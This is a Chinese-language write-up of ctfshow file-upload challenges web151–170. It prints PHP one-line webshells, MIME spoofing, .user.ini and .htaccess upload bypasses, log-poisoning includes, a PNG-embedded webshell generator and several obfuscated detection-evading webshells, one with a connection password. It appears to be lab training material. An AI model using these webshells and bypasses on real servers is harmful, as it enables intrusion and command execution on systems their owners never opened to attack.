【ctfshow】文件上传web151-170wp

web151

1.编写一句话木马上传

发现前端有验证

<?php @eval($_POST[1]);?>

直接点开F12

2.修改前端验证

在这里插入图片描述

即可上传成功

3.在蚁剑上找flag

//常用命令:
1=system("ls /"); //查找根目录
1=system("ls ./"); //查找当前目录
1=system("ls ../"); //查找上一级目录
1=system("tac ../flag.php"); //打印上一级目录的falg.php
1=system("cp fla?.php 1.txt");//将所有fla?.php文件复制到1.txt
1=system("cp f*.php 1.txt");//将所有f*.php文件复制到1.txt,*代表多个字母

web152

1.修改前端验证

后端也有验证,验证的是MIME类型content-type

  • MIME(Multipurpose Internal MailExtensions)多用途互联网邮件扩展类型。
    是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动指定应用程序来打开。多用于来指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
  • 每个MIME类型由两部分组成,前面是数据的大类型,例如声音audio,图像image等,后面定义具体的种类

常见的MIME类型:
超文本标记语言文本:.html——>text/html
xml文档:.xml——>text/xml
XHTML文档:.xhtml——>application/xhtml+xml
普通文本:.txt——>text/plain
RTF文本:.rtf——>application/rtf
png图片:.png——>image/png

2.burp抓包后修改MIME

所以可以通过用burp抓包后修改MIME后端检验类型,来上传php文件

上传一个php文件,同时用burp抓包,将burp中的Content-Type:
application/octet-stream修改为Content-Type:
image/png,即让服务器认为这个文件是一个图片文件去解析执行

3.在蚁剑上找flag

web153

1.修改前端验证

先修改前端验证,发现抓包修改后端验证也没用,然后找到upload目录下有一个index.php文件,说明可能可以ini配置文件上传漏洞

  • 当前目录里面有php文件的时候,可以运用ini配置文件进行配置这个php文件
  • 和文件包含有关的配置项有auto_append_file和auto_pretend_file

2.上传ini配置文件

auto_append_file=1.txt   //保存为user.ini,记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
1.先上传这个user.ini文件,发现上传成功。

2.然后本来不能上传规定外的文件,现在就可以上传了,上传的是指定的1.txt文件

3.这个1.txt里面就是一句话木马

3.上传1.txt文件

这个1.txt木马就被自动包含进原来目录里的php文件了(一般是index.php)

4.访问upload目录可进行命令执行

web154-web158

1.修改前端验证

2.上传ini配置文件

记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini
记得抓包时文件名是.user.ini

在这里插入图片描述

3.上传1.txt文件

发现上传失败,应该是对txt文件里的内容有过滤
经检测,查验之后发现是对php这三个字母过滤了,还过滤了[]
构造:<?=eval($_POST{1})?>

4.在蚁剑上找flag

web159

1.修改前端验证

2.上传ini配置文件

3.上传1.txt文件

对()有过滤,那就不能用一句话木马了
构造反引号,可以直接进行代码执行的,反正可以上传无数次2.txt,一句话木马只是任意执行的手段
主要还是ini配置文件的考点

第一次<?=`ls ../`?>
第二次<?=`tac ../f*`?>

在这里插入图片描述
在这里插入图片描述

web160

1.修改前端验证

2.上传ini配置文件

3.上传1.txt文件

php伪协议

过滤了反引号,这里使用include命令去配合php伪协议进行读取

<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>

访问upload目录,解码得flag

日志包含绕过

利用日志包含绕过,1.txt内容:

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

因为log被过滤了。所以用拼接绕过
然后修改UA头信息:
在这里插入图片描述
接着访问/upload打开源代码即可拿到flag

空格绕过

突破空格过滤可以用换行符%0a

web161

1.修改前端验证

2.上传ini配置文件

3.上传1.txt文件

增加了对图片头的识别,用了getimagesize()进行检测

getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求

ini问价和一句话木马前都要加一句GIF89a,或者改成png文件头89 50 4E 47

GIF89a
<?=eval($_POST{1})?>

web162-web163

1.修改前端验证

2.上传ini配置文件

3.session包含条件竞争

没理解

web164

上传一个文件,打开之后发现有一个图片文件包含点

在这里插入图片描述

利用脚本构造出一个png图片,

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'2.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */

?>

木马内容为:<?$_GET[0]($_POST[1]);?>

即get传入命令,post传入参数

&0=system
POST: 1=tac flag.php

web165

jpg图片渲染

web166

查看源码,发现只能上传zip

那就抓包,然后把zip压缩包的内容改成一句话木马上传,成功

web167

利用htaccess文件

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

首先上传一个jpg文件抓包

AddType application/x-httpd-php .jpg//将.jpg后缀的文件解析 成php

然后文件名改成.htaccess,然后上传
在这里插入图片描述

接着再上传jpg格式文件,内容是一句话木马
在这里插入图片描述

然后访问文件,执行命令即可得到flag

web168

其他姿势的免杀马:

<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>

<?php 
    $poc="s#y#s#t#e#m"; 
    $poc_1=explode("#",$poc); 
    $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
    $poc_2($_REQUEST['1']);
?>

<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>

<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>

<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>

1.修改前端验证

2.burp抓包后修改MIME

3.命令执行找flag

或者:

<?php $bFIY=create_function(chr(25380/705).chr(92115/801).base64_decode('bw==').base64_decode('bQ==').base64_decode('ZQ=='),chr(0x16964/0x394).chr(0x6f16/0xf1).base64_decode('YQ==').base64_decode('bA==').chr(060340/01154).chr(01041-0775).base64_decode('cw==').str_rot13('b').chr(01504-01327).base64_decode('ZQ==').chr(057176/01116).chr(0xe3b4/0x3dc));$bFIY(base64_decode('NjgxO'.'Tc7QG'.'V2QWw'.'oJF9Q'.''.str_rot13('G').str_rot13('1').str_rot13('A').base64_decode('VQ==').str_rot13('J').''.''.chr(0x304-0x2d3).base64_decode('Ug==').chr(13197/249).str_rot13('F').base64_decode('MQ==').''.'B1bnR'.'VXSk7'.'MjA0N'.'TkxOw'.'=='.''));?>

蚁剑连接,密码TyKPuntU

web169-170

1.修改前端验证

2.上传ini配置文件

3.日志包含

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

上传.user.ini,修改UA头为一句话木马

然后上传b.php

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值